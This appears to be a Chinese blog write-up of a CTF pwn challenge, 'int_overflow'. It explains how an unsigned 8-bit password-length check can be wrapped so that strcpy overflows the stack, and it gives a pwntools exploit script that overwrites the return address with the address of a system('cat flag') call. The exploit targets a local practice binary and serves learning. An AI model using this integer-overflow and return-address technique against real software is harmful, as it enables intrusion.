美文网首页
09_int_overflow

09_int_overflow

作者: Zero_0_0 | 来源:发表于2019-04-17 17:39 被阅读0次
    1.检查安全机制
    图片.png :运行一下,我们知道这是一个创建用户名和密码的程序,对用户名的长度和密码都有限制。
    我们ctrl+1 找到了system("cat flag") 不知道怎么使用
    2.找到溢出点

    注:
    strcpy:危险函数
    unsigned __int8最大只能到达255 可是我们read(。。。)远超过255。
    数据类型范围https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)
    利用思路:有点不理解整数溢出

    1.发现v38位无符号整数,则最大只能是255
    但是read函数能读取的长度是0x199,远大于255,那就可以进行整型溢出,让passwd的长度是 260264就可以了。
    2.我们将程序的返回地址覆盖为system("cat flag")
    注:帮助理解

    EXP
    from pwn import*
    
    p = process('./int_overflow')
    
    system_flag_addr = 0x804868B
    
    p.recvuntil('choice:')
    p.sendline("1")
    p.recvuntil('username:\n')
    p.sendline("tutu")
    p.recvuntil('passwd:\n')
    
    payload = 'A'*0x18 + p32(system_flag_addr)
    payload = payload.ljust(262,'A')    //这有点不理解
    
    
    
    p.sendline(payload)
    p.interactive()
    
    
    图片.png

    相关文章

      网友评论

          本文标题:09_int_overflow

          本文链接:https://www.haomeiwen.com/subject/wjvnwqtx.html